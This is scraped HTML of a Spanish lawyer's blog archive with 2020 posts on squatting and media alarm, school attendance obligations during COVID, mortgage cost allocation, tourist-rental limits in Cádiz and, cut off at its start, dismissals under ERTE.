class="i-amphtml-intrinsic-sizer" role="presentation" src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjY4NiIgd2lkdGg9IjEwMzAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmVyc2lvbj0iMS4xIi8+"></i-amphtml-sizer><noscript><img loading="lazy" decoding="async" width="1030" height="686" src="https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1030x686.jpg" alt="Okupas y sensacionalismo" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1030x686.jpg 1030w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-300x200.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-768x512.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1536x1024.jpg 1536w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-2048x1365.jpg 2048w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-1500x1000.jpg 1500w, https://abogadofigueroa.com/wp-content/uploads/2020/09/okupa-cadiz-705x470.jpg 705w" sizes="auto, (max-width: 1030px) 100vw, 1030px"></noscript></amp-img><figcaption>EL movimiento okupa ha crecido un 5% con respecto al año pasado</figcaption></figure>



<h2 class="has-text-align-center wp-block-heading"> ¿Ha crecido el movimiento okupa?</h2>



<p class="has-text-align-center wp-block-paragraph">Okupas y cuñados es la mezcla del miedo perfecta, y aunque es cierto que la okupación ha crecido, un aumento del 5% con respecto al año 2019 no justifica la alarma social creada por los medios, y es que parece ser que el tiempo de ir a la compra es suficiente para que perdamos nuestra casa, así pues, podemos concluir que ha crecido más el fenómeno del cuñadismo.</p>



<p class="has-text-align-center wp-block-paragraph">No negaré que el problema existe, pero tenemos armas suficientes en los tribunales para expulsar a los okupas de los inmuebles; además, siempre podremos contar con las actuaciones policiales, siendo esta vía, por si lo desconocías, la que resuelve la mayoría de las ocupaciones ilegales.</p>



<h2 class="has-text-align-center wp-block-heading">Protocolo policial de actuación ante ocupación de bienes inmuebles.</h2>



<figure class="wp-block-image size-large"><amp-img width="1030" height="728" src="https://abogadofigueroa.com/wp-content/uploads/2020/09/ACTUACION-OPERATIVA-ANTE-OCUPACION-INMUEBLES-pdf-1030x728.jpg" alt="" class="wp-image-1074 amp-wp-enforced-sizes i-amphtml-layout-intrinsic i-amphtml-layout-size-defined" layout="intrinsic" i-amphtml-layout="intrinsic"><i-amphtml-sizer slot="i-amphtml-svc" class="i-amphtml-sizer"><img alt="" aria-hidden="true" class="i-amphtml-intrinsic-sizer" role="presentation" src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjcyOCIgd2lkdGg9IjEwMzAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmVyc2lvbj0iMS4xIi8+"></i-amphtml-sizer><noscript><img loading="lazy" decoding="async" width="1030" height="728" src="https://abogadofigueroa.com/wp-content/uploads/2020/09/ACTUACION-OPERATIVA-ANTE-OCUPACION-INMUEBLES-pdf-1030x728.jpg" alt=""></noscript></amp-img><figcaption>Protocolo policial</figcaption></figure>



<h2 class="has-text-align-center wp-block-heading">Y entonces ¿A qué se debe la alarma okupa creada por los medios?</h2>



<p class="has-text-align-center wp-block-paragraph">Seguramente se debe a un movimiento mucho más extendido en nuestro país que el llamado okupa, pues sí, el cuñadismo. Mezclar las cifras de denuncias por usurpación con las de allanamiento, no es más que uno de los hitos vergonzosos del elenco periodístico de nuestro país. De hecho, quiero que sepas que ambos delitos son ampliamente distintos en forma y consecuencia. Puedes consultar los datos <a href="https://estadisticasdecriminalidad.ses.mir.es/publico/portalestadistico/" target="_blank" rel="noopener">aquí</a>, pero ya te adelanto, que lo habitual es el desalojo inmediato de los ocupas por la actuación policial, que ante un flagrante delito quedan habilitados para entrar en el inmueble, su puesta a disposición ante un juez y seguidamente la restitución de la vivienda a sus legítimos dueños, yo lo he visto en primera persona ¿Y tú?</p>



<ul class="wp-block-list"><li><strong>El allanamiento es un delito grave penado con hasta 2 años de cárcel, explicado de forma simple, alguien entra sin permiso en una vivienda, ya sea primera o segunda residencia, y en estos casos la justicia siempre da la razón al propietario procediendo la policía desalojar la vivienda en unas 48 horas, a veces incluso sin esperar a la resolución judicial.</strong></li><li><strong>La usurpación es un delito menor penado con una multa y que se da cuando alguien ocupa una vivienda deshabitada</strong>. </li></ul>



<h2 class="has-text-align-center wp-block-heading">Ahora te cuento el problema real.</h2>



<p class="has-text-align-center wp-block-paragraph">La ocupación de viviendas es un problema que aun siendo grave, tiene solución, te lo acabo de contar. Ciertamente, lo que debería de okupar titulares y usurpar portadas son los siguientes datos de 2019. </p>



<ul class="wp-block-list"><li><strong>54.000 desahuciados</strong> por no poder pagar la hipoteca.</li><li><strong>100.000 por no poder pagar el alquiler</strong>.</li></ul>



<h2 class="has-text-align-center wp-block-heading">¿Y las mafias de la ocupación?</h2>



<p class="has-text-align-center wp-block-paragraph">Claro que existen, pero lamento informarte que su actuación se limita al 13% del problema, es decir, el 87% son familias que por su cuenta deciden ocupar los inmuebles.</p>



<h2 class="has-text-align-center wp-block-heading">No te dejes llevar por el rebaño y su sensacionalismo.</h2>



<p class="has-text-align-center wp-block-paragraph">Sé que en estos duros momentos, es difícil no sentir odio hacia determinados comportamientos, más cuando televisión, radio y prensa no paran de bombardearnos con el mismo mantra, y aunque en ciertos casos aparezcan individuos deleznables de dudosa moral, deberíamos entender que no todos los ocupas son viles caraduras, quizás un día tú y yo nos encontremos ocupando una vivienda que hace meses dejamos de pagar por motivos que escaparon a nuestra voluntad.</p>



<p class="has-text-align-center wp-block-paragraph">Mientras tanto, te ruego que si encuentras tu casa ocupada, hagas caso omiso de bulos y consejos viralizados por los cuñadísimos. Recuerda que <a href="https://abogadofigueroa.com/">abogados</a>, jueces y sobre todo, la policía quedan a tu servicio.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>Lo que más odia el rebaño es aquel que piensa de modo distinto, no es tanto la opinión en sí, como la osadía de querer pensar por si mismo, algo que ellos no saben hacer.</p><cite>Las flores y el mal, Arthur Schopenhauer</cite></blockquote>



<p class="wp-block-paragraph"></p>
</div><span class="post-meta-infos"><time class="date-container minor-meta updated">15 de septiembre de 2020</time><span class="text-sep text-sep-date">/</span><span class="comment-container minor-meta"><a href="https://abogadofigueroa.com/okupas-y-cunados-la-mezcla-del-miedo/#respond" class="comments-link">0 Comentarios</a></span><span class="text-sep text-sep-comment">/</span><span class="blog-author minor-meta">por <span class="entry-author-link" itemprop="author"><span class="author"><span class="fn"><a href="https://abogadofigueroa.com/author/admin5938/" rel="author">Juande Figueroa</a></span></span></span></span></span><footer class="entry-footer"></footer><div class="post_delimiter"></div></div><div class="post_author_timeline"></div><span class="hidden">
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				</span><span class="av-structured-data" itemprop="author" itemscope="itemscope" itemtype="https://schema.org/Person"><span itemprop="name">Juande Figueroa</span></span><span class="av-structured-data" itemprop="datePublished">2020-09-15 12:15:44</span><span class="av-structured-data" itemprop="dateModified" itemtype="https://schema.org/dateModified">2020-09-15 15:57:55</span><span class="av-structured-data" itemprop="mainEntityOfPage" itemtype="https://schema.org/mainEntityOfPage"><span itemprop="name">Okupas y cuñados, la mezcla del miedo.</span></span></span></article><article class="post-entry post-entry-type-standard post-entry-1020 post-loop-3 post-parity-odd custom with-slider post-1020 post type-post status-publish format-standard has-post-thumbnail hentry category-coronavirus category-news tag-colegio tag-coronavirus tag-delito" itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost"><div class="blog-meta"></div><div class="entry-content-wrapper clearfix standard-content"><header class="entry-content-header"><div class="av-heading-wrapper"><h2 class="post-title entry-title " itemprop="headline">	<a href="https://abogadofigueroa.com/que-pasa-si-no-llevo-a-mi-hijo-al-colegio-coronavirus-versus-colegio/" rel="bookmark" title="Enlace permanente: ¿Qué pasa si no llevo a mi hijo al colegio? Salud versus Educación, obligación y miedo.">¿Qué pasa si no llevo a mi hijo al colegio? Salud versus Educación, obligación y miedo.			<span class="post-format-icon minor-meta"></span>	</a></h2><span class="blog-categories minor-meta"><a href="https://abogadofigueroa.com/category/news/coronavirus/" rel="tag">coronavirus</a>, <a href="https://abogadofigueroa.com/category/news/" rel="tag">News</a> </span></div></header><span class="av-vertical-delimiter"></span><div class="entry-content" itemprop="text">
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<h2 class="has-text-align-center wp-block-heading">¿Es segura la vuelta al colegio?</h2>



<p class="has-text-align-center wp-block-paragraph">Hasta el momento, parece que los alumnos volverán a las aulas el 10 septiembre<strong>.</strong> La vuelta en efecto traerá de vuelta a los comedores, los transportes escolares, y un largo sin fin de consecuencias intrínsecas a la reanudación de la actividad escolar. </p>



<p class="has-text-align-center wp-block-paragraph">Las medidas van desde el uso obligatorio de mascarilla a partir de los 6 años, control de temperatura, entre otras tan singulares como la ventilación de las aulas «siempre que sea posible». Las medidas pueden parecerte suficientes o no, pero son las propuestas, y con ellas, llega la hora de dejar a tus hijos en el colegio.</p>



<p class="has-text-align-center wp-block-paragraph">Son las 8:00, una puerta de colegio se llena de padres e hijos, observas a los menores de 6 años sin mascarilla, alguno de los más mayores con la nariz sobresaliendo de la misma, a uno los alumnos lo mandan a casa, en la puerta han detectado que tiene fiebre y el miedo empieza a inundarte. ¿De verdad voy a dejar a mi hijo aquí?</p>



<h2 class="has-text-align-center wp-block-heading">¿Tengo que llevar a mi hijo al colegio entonces?</h2>



<p class="wp-block-paragraph">No voy a engañarte, las directrices son claras, la misma Junta de Andalucía ha reiterado que <strong>si no hay justificación, en las ausencias reiteradas a clase se activarán los protocolos de absentismo</strong> y con la misma determinación se ha pronunciado el gobierno central. Lo que significa que el miedo no justifica que los niños no acudan a clase, y sí, parece que en estos momentos han decidido que el derecho a la educación prima sobre el derecho a la protección de la salud, que por cierto, al igual que el primero, es un derecho constitucional.</p>



<h2 class="has-text-align-center wp-block-heading">¿Qué pasa si no llevo a mi hijo al colegio?</h2>



<p class="has-text-align-center wp-block-paragraph">Como sabrás es obligación de los padres que la escolarización se haga efectiva desde los 6 a los 16 años, y por ello, tras las acciones inspectoras propias en estos casos, <strong>aquellos que decidan no llevar a sus hijos al colegio podrían verse condenados a penas de prisión de 3 a 6 meses o multa</strong>, dichas penas vienen determinadas en el <a href="https://www.boe.es/buscar/act.php?id=BOE-A-1995-25444" target="_blank" rel="noreferrer noopener">Articulo 226 del Código Penal</a>. De hecho, se han dado casos de <strong>retirada de la patria potestad</strong> por desatender la escolarización de los hijos.</p>



<p class="has-text-align-center wp-block-paragraph">En mi opinión, debe primar la salud, pero debemos ser coherentes, hemos estado observando a los menores en la playa, en el parque, en cumpleaños, y ahora que las instituciones vienen reiterando que la vuelta al cole será segura y protocolarizada, no encuentro fundamento para la negativa a la asistencia al colegio, salvo, claro está, que observes en el colegio donde ibas a dejar a tu hijo una clara desatención de los cuidados necesarios para la seguridad de los alumnos. </p>



<p class="has-text-align-center wp-block-paragraph">¿Y tú qué harás?</p>
</div><span class="post-meta-infos"><time class="date-container minor-meta updated">28 de agosto de 2020</time><span class="text-sep text-sep-date">/</span><span class="comment-container minor-meta"><a href="https://abogadofigueroa.com/que-pasa-si-no-llevo-a-mi-hijo-al-colegio-coronavirus-versus-colegio/#respond" class="comments-link">0 Comentarios</a></span><span class="text-sep text-sep-comment">/</span><span class="blog-author minor-meta">por <span class="entry-author-link" itemprop="author"><span class="author"><span class="fn"><a href="https://abogadofigueroa.com/author/admin5938/" rel="author">Juande Figueroa</a></span></span></span></span></span><footer class="entry-footer"></footer><div class="post_delimiter"></div></div><div class="post_author_timeline"></div><span class="hidden">
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				</span><span class="av-structured-data" itemprop="author" itemscope="itemscope" itemtype="https://schema.org/Person"><span itemprop="name">Juande Figueroa</span></span><span class="av-structured-data" itemprop="datePublished">2020-08-28 10:37:38</span><span class="av-structured-data" itemprop="dateModified" itemtype="https://schema.org/dateModified">2020-08-28 11:08:03</span><span class="av-structured-data" itemprop="mainEntityOfPage" itemtype="https://schema.org/mainEntityOfPage"><span itemprop="name">¿Qué pasa si no llevo a mi hijo al colegio? Salud versus Educación, obligación y miedo.</span></span></span></article><article class="post-entry post-entry-type-standard post-entry-1004 post-loop-4 post-parity-even custom  post-1004 post type-post status-publish format-standard hentry category-gastos-hipotecarios category-news" itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost"><div class="blog-meta"></div><div class="entry-content-wrapper clearfix standard-content"><header class="entry-content-header"><div class="av-heading-wrapper"><h2 class="post-title entry-title " itemprop="headline">	<a href="https://abogadofigueroa.com/los-gastos-hipotecarios-y-la-publicidad-enganosa/" rel="bookmark" title="Enlace permanente: Los gastos hipotecarios y la publicidad engañosa.">Los gastos hipotecarios y la publicidad engañosa.			<span class="post-format-icon minor-meta"></span>	</a></h2><span class="blog-categories minor-meta"><a href="https://abogadofigueroa.com/category/gastos-hipotecarios/" rel="tag">gastos hipotecarios</a>, <a href="https://abogadofigueroa.com/category/news/" rel="tag">News</a> </span></div></header><span class="av-vertical-delimiter"></span><div class="entry-content" itemprop="text">
<figure class="wp-block-image size-large"><amp-img width="1030" height="687" src="https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1030x687.jpg" alt="" class="wp-image-1005 amp-wp-enforced-sizes i-amphtml-layout-intrinsic i-amphtml-layout-size-defined" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1030x687.jpg 1030w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-300x200.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-768x512.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1536x1024.jpg 1536w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-2048x1365.jpg 2048w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1500x1000.jpg 1500w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-705x470.jpg 705w" sizes="auto, (max-width: 1030px) 100vw, 1030px" layout="intrinsic" disable-inline-width="" i-amphtml-layout="intrinsic"><i-amphtml-sizer slot="i-amphtml-svc" class="i-amphtml-sizer"><img alt="" aria-hidden="true" class="i-amphtml-intrinsic-sizer" role="presentation" src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjY4NyIgd2lkdGg9IjEwMzAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmVyc2lvbj0iMS4xIi8+"></i-amphtml-sizer><noscript><img loading="lazy" decoding="async" width="1030" height="687" src="https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1030x687.jpg" alt="" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1030x687.jpg 1030w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-300x200.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-768x512.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1536x1024.jpg 1536w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-2048x1365.jpg 2048w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-1500x1000.jpg 1500w, https://abogadofigueroa.com/wp-content/uploads/2020/07/banco-705x470.jpg 705w" sizes="auto, (max-width: 1030px) 100vw, 1030px"></noscript></amp-img></figure>



<p class="wp-block-paragraph">Hace tiempo que las redes se han inundado de ofertas suculentas, incluso reclamaciones a los bancos a coste cero, pues supuestamente, las entidades debían hacerse cargo de todos los gastos hipotecarios, y nada más lejos de la realidad.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>Han de devolverte todo el dinero</p></blockquote>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow"><p>Nuevo varapalo al Tribunal Supremo</p></blockquote>



<p class="wp-block-paragraph">Seguramente hayas leído titulares como los anteriores en publicaciones de distintos «profesionales» a los que, en mi opinión, habría de pedir responsabilidades. Y es que, incitar al pleito, mediante artes engañosas y elucubraciones tendría que castigarse de una vez por todas.</p>



<p class="wp-block-paragraph">Ahora bien, tras la famosa <a href="https://diariolaley.laleynext.es/content/Documento.aspx?params=H4sIAAAAAAAEAMtMSbH1CjUwMDAzszC2NDRRK0stKs7Mz7Mty0xPzStJBfEz0ypd8pNDKgtSbdMSc4pT1RKTivNzSktSQ4sybUOKSlMBswe9LkUAAAA=WKE" target="_blank" aria-label="undefined (abre en una nueva pestaña)" rel="noreferrer noopener">Sentencia del TJUE</a> que ha hecho volar la imaginación de los sujetos meritados, la situación es clara, misma que te expongo sin complicaciones, <a href="https://abogadofigueroa.com/get-in-touch/">aquí no se vende humo</a>.</p>



<h2 class="wp-block-heading">¿Cómo se reparten los gastos hipotecarios realmente?</h2>



<p class="wp-block-paragraph">La nulidad de la cláusula comporta que los gastos han de repartirse como sí nunca hubiera existido la misma, aplicándose el derecho nacional.</p>



<h2 class="wp-block-heading">¿Qué dice la norma española?</h2>



<ul class="wp-block-list"><li>Los Actos Jurídicos Documentados quedan a cargo del prestatario, es decir, el cliente.</li><li>Los gastos notariales se pagan por mitad, 50% el cliente y el restante el banco.</li><li>Los gastos registrales correrán por cuenta de la entidad bancaria.</li></ul>



<p class="wp-block-paragraph">En siguientes entregas hablaremos de varios productos bancarios tóxicos, de los que algunos son reclamables por el cliente, pero de momento te aconsejo que andes prevenido de otros peligros igualmente perjudiciales, los vendedores de humo del sector.</p>
</div><span class="post-meta-infos"><time class="date-container minor-meta updated">31 de julio de 2020</time><span class="text-sep text-sep-date">/</span><span class="comment-container minor-meta"><a href="https://abogadofigueroa.com/los-gastos-hipotecarios-y-la-publicidad-enganosa/#respond" class="comments-link">0 Comentarios</a></span><span class="text-sep text-sep-comment">/</span><span class="blog-author minor-meta">por <span class="entry-author-link" itemprop="author"><span class="author"><span class="fn"><a href="https://abogadofigueroa.com/author/admin5938/" rel="author">Juande Figueroa</a></span></span></span></span></span><footer class="entry-footer"></footer><div class="post_delimiter"></div></div><div class="post_author_timeline"></div><span class="hidden">
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				</span><span class="av-structured-data" itemprop="author" itemscope="itemscope" itemtype="https://schema.org/Person"><span itemprop="name">Juande Figueroa</span></span><span class="av-structured-data" itemprop="datePublished">2020-07-31 09:25:22</span><span class="av-structured-data" itemprop="dateModified" itemtype="https://schema.org/dateModified">2020-07-31 10:10:38</span><span class="av-structured-data" itemprop="mainEntityOfPage" itemtype="https://schema.org/mainEntityOfPage"><span itemprop="name">Los gastos hipotecarios y la publicidad engañosa.</span></span></span></article><article class="post-entry post-entry-type-standard post-entry-999 post-loop-5 post-parity-odd custom with-slider post-999 post type-post status-publish format-standard has-post-thumbnail hentry category-alquiler-turistico category-news" itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost"><div class="blog-meta"></div><div class="entry-content-wrapper clearfix standard-content"><header class="entry-content-header"><div class="av-heading-wrapper"><h2 class="post-title entry-title " itemprop="headline">	<a href="https://abogadofigueroa.com/el-ayuntamiento-de-cadiz-nunca-pudo-poner-limites-a-la-vivienda-turistica-pero-tu-si/" rel="bookmark" title="Enlace permanente: El Ayuntamiento de Cádiz nunca pudo poner limites a la vivienda turística, pero tu sí.">El Ayuntamiento de Cádiz nunca pudo poner limites a la vivienda turística, pero tu sí.			<span class="post-format-icon minor-meta"></span>	</a></h2><span class="blog-categories minor-meta"><a href="https://abogadofigueroa.com/category/alquiler-turistico/" rel="tag">Alquiler turístico</a>, <a href="https://abogadofigueroa.com/category/news/" rel="tag">News</a> </span></div></header><span class="av-vertical-delimiter"></span><div class="entry-content" itemprop="text">
<p class="has-text-align-center wp-block-paragraph">Tras el fallido intento por limitar la concesión de licencias de viviendas turísticas del Ayuntamiento de Cádiz, las gaviotas negras parecen sobrevolar de nuevo la capital avivando el debate entre los vecinos de la ciudad dormitorio por excelencia al sur del sur.</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><amp-img width="1030" height="1015" src="https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-1030x1015.jpg" alt="" class="wp-image-1000 amp-wp-enforced-sizes i-amphtml-layout-intrinsic i-amphtml-layout-size-defined" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-1030x1015.jpg 1030w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-300x296.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-80x80.jpg 80w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-768x757.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-36x36.jpg 36w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-705x695.jpg 705w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz.jpg 1313w" sizes="auto, (max-width: 1030px) 100vw, 1030px" layout="intrinsic" disable-inline-width="" i-amphtml-layout="intrinsic"><i-amphtml-sizer slot="i-amphtml-svc" class="i-amphtml-sizer"><img alt="" aria-hidden="true" class="i-amphtml-intrinsic-sizer" role="presentation" src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjEwMTUiIHdpZHRoPSIxMDMwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZlcnNpb249IjEuMSIvPg=="></i-amphtml-sizer><noscript><img loading="lazy" decoding="async" width="1030" height="1015" src="https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-1030x1015.jpg" alt="" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-1030x1015.jpg 1030w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-300x296.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-80x80.jpg 80w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-768x757.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-36x36.jpg 36w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz-705x695.jpg 705w, https://abogadofigueroa.com/wp-content/uploads/2020/07/gaviotas-blanco-y-negro-cadiz.jpg 1313w" sizes="auto, (max-width: 1030px) 100vw, 1030px"></noscript></amp-img></figure></div>



<h2 class="has-text-align-center wp-block-heading">¿Ciudad dormitorio? Sí.</h2>



<p class="has-text-align-center wp-block-paragraph">Fuera de complicadas teorías socio-políticas, sea quien sea el culpable, los datos son claros, en una ciudad donde el 70% del empleo se sitúa en el <a aria-label="undefined (abre en una nueva pestaña)" href="https://es.wikipedia.org/wiki/Sector_servicios" target="_blank" rel="noreferrer noopener">sector servicios</a>, la economía queda condenada y vinculada a la temporalidad estacional del turismo.</p>



<p class="has-text-align-center wp-block-paragraph">Así pues, el precio del metro cuadrado de la capital ha sido el que más se ha incrementado en el último año, postulándose como el más caro de Andalucía, y donde menos ha caído el precio junto a las ciudades de Almería, Jaén y Málaga durante la pandemia. </p>



<h2 class="has-text-align-center wp-block-heading">¿Pudo en algún momento suspender o limitar las licencias para el alquiler turístico el Ayuntamiento de Cádiz?</h2>



<p class="has-text-align-center wp-block-paragraph">De ningún modo, en estos momentos no dispone de potestad legal para ello, las competencias en materia de ordenación y planificación del sector turístico corresponden en exclusiva a la Comunidad Autónoma de Andalucía, tal y como establece su <a aria-label="undefined (abre en una nueva pestaña)" href="https://www.boe.es/eli/es/lo/2007/03/19/2/con" target="_blank" rel="noreferrer noopener">Estatuto de Autonomía</a> en sus artículos 71 y 56.3, todo ello sin que quepa debate por mandato del Artículo 148.1 de nuestra <a href="https://www.boe.es/eli/es/c/1978/12/27/(1)/con" target="_blank" aria-label="undefined (abre en una nueva pestaña)" rel="noreferrer noopener">Constitución</a>.</p>



<p class="has-text-align-center wp-block-paragraph">Y es que, dicho de otro modo, de haberlo conseguido, las limitaciones al alquiler turístico se hubieran dado de bruces con no pocas acciones legales por parte de los interesados.</p>



<h2 class="has-text-align-center wp-block-heading">¿Se puede limitar de algún modo el alquiler turístico de tu finca?</h2>



<p class="has-text-align-center wp-block-paragraph">En efecto, existe la posibilidad de que sea la propia comunidad de propietarios mediante mayoría cualificada de 3/5 la que imponga en virtud del Artículo 7.2 de la <a href="https://www.boe.es/eli/es/l/1960/07/21/49/con" target="_blank" aria-label="undefined (abre en una nueva pestaña)" rel="noreferrer noopener">Ley 49/1960, de 21 de julio, sobre Propiedad Horizontal</a> una serie de limitaciones a la actividad turística, incluso exigir el respeto de normas propias de régimen interno cuyo incumplimiento podría ser enjuiciado por petición de la mayoría simple de la comunidad de propietarios.</p>



<p class="has-text-align-center wp-block-paragraph">De hecho,<strong> la comunidad puede exigir cuotas especiales de gastos o un incremento en la cuota de hasta el 20%</strong>, entre otras cuestiones, para estas viviendas en las que se realice el alquiler turístico.</p>



<h2 class="has-text-align-center wp-block-heading">¿La solución?</h2>



<p class="has-text-align-center wp-block-paragraph">En mi humilde opinión, deberíamos abogar por el consenso entre las partes para alcanzar el equilibrio sostenible que tanto necesita nuestra ciudad, un turismo proporcional a las carencias económicas del gaditano junto a medidas que fomenten el empleo y la vivienda de calidad, y mientras tanto, concienciarnos de que el alquiler turístico es un pilar relevante de nuestra economía, y que, del mismo, podemos beneficiarnos todos mediante la herramienta más poderosa, la palabra.</p>



<p class="has-text-align-center wp-block-paragraph">Por ello te animo a que consultes a <a href="https://abogadofigueroa.com/get-in-touch/">tu abogado de confianza</a> sobre las posibilidades legales que existen para que la convivencia sea beneficiosa para todos, porque vivir, y hacerlo bien todo el año es lo que al fin necesitan nuestros vecinos.</p>



<p class="has-text-align-center wp-block-paragraph">¿Y tú qué piensas?</p>
</div><span class="post-meta-infos"><time class="date-container minor-meta updated">23 de julio de 2020</time><span class="text-sep text-sep-date">/</span><span class="comment-container minor-meta"><a href="https://abogadofigueroa.com/el-ayuntamiento-de-cadiz-nunca-pudo-poner-limites-a-la-vivienda-turistica-pero-tu-si/#respond" class="comments-link">0 Comentarios</a></span><span class="text-sep text-sep-comment">/</span><span class="blog-author minor-meta">por <span class="entry-author-link" itemprop="author"><span class="author"><span class="fn"><a href="https://abogadofigueroa.com/author/admin5938/" rel="author">Juande Figueroa</a></span></span></span></span></span><footer class="entry-footer"></footer><div class="post_delimiter"></div></div><div class="post_author_timeline"></div><span class="hidden">
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				</span><span class="av-structured-data" itemprop="author" itemscope="itemscope" itemtype="https://schema.org/Person"><span itemprop="name">Juande Figueroa</span></span><span class="av-structured-data" itemprop="datePublished">2020-07-23 12:14:48</span><span class="av-structured-data" itemprop="dateModified" itemtype="https://schema.org/dateModified">2020-07-23 12:20:48</span><span class="av-structured-data" itemprop="mainEntityOfPage" itemtype="https://schema.org/mainEntityOfPage"><span itemprop="name">El Ayuntamiento de Cádiz nunca pudo poner limites a la vivienda turística, pero tu sí.</span></span></span></article><article class="post-entry post-entry-type-standard post-entry-967 post-loop-6 post-parity-even post-entry-last custom  post-967 post type-post status-publish format-standard hentry category-despido category-erte tag-decreto-9-2020 tag-desido-nulo tag-despido tag-despido-improcedente tag-despido-nulo tag-erte tag-etop tag-indemnizacion" itemscope="itemscope" itemtype="https://schema.org/BlogPosting" itemprop="blogPost"><div class="blog-meta"></div><div class="entry-content-wrapper clearfix standard-content"><header class="entry-content-header"><div class="av-heading-wrapper"><h2 class="post-title entry-title " itemprop="headline">	<a href="https://abogadofigueroa.com/me-pueden-despedir-si-estoy-incluido-en-un-erte/" rel="bookmark" title="Enlace permanente: ¿Me pueden despedir si estoy incluido en un ERTE?">¿Me pueden despedir si estoy incluido en un ERTE?			<span class="post-format-icon minor-meta"></span>	</a></h2><span class="blog-categories minor-meta"><a href="https://abogadofigueroa.com/category/news/despido/" rel="tag">despido</a>, <a href="https://abogadofigueroa.com/category/news/erte/" rel="tag">ERTE</a> </span></div></header><span class="av-vertical-delimiter"></span><div class="entry-content" itemprop="text">
<div class="wp-block-image"><figure class="aligncenter size-large"><amp-img width="1030" height="687" src="https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-1030x687.jpg" alt="despido en erte" class="wp-image-971 amp-wp-enforced-sizes i-amphtml-layout-intrinsic i-amphtml-layout-size-defined" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-1030x687.jpg 1030w, https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-300x200.jpg 300w, https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-768x513.jpg 768w, https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-1536x1025.jpg 1536w" sizes="auto, (max-width: 1030px) 100vw, 1030px" layout="intrinsic" disable-inline-width="" i-amphtml-layout="intrinsic"><i-amphtml-sizer slot="i-amphtml-svc" class="i-amphtml-sizer"><img alt="" aria-hidden="true" class="i-amphtml-intrinsic-sizer" role="presentation" src="data:image/svg+xml;base64,PHN2ZyBoZWlnaHQ9IjY4NyIgd2lkdGg9IjEwMzAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmVyc2lvbj0iMS4xIi8+"></i-amphtml-sizer><noscript><img loading="lazy" decoding="async" width="1030" height="687" src="https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-1030x687.jpg" alt="despido en erte" srcset="https://abogadofigueroa.com/wp-content/uploads/2020/07/despido-3-1030x687.jpg 1030w, 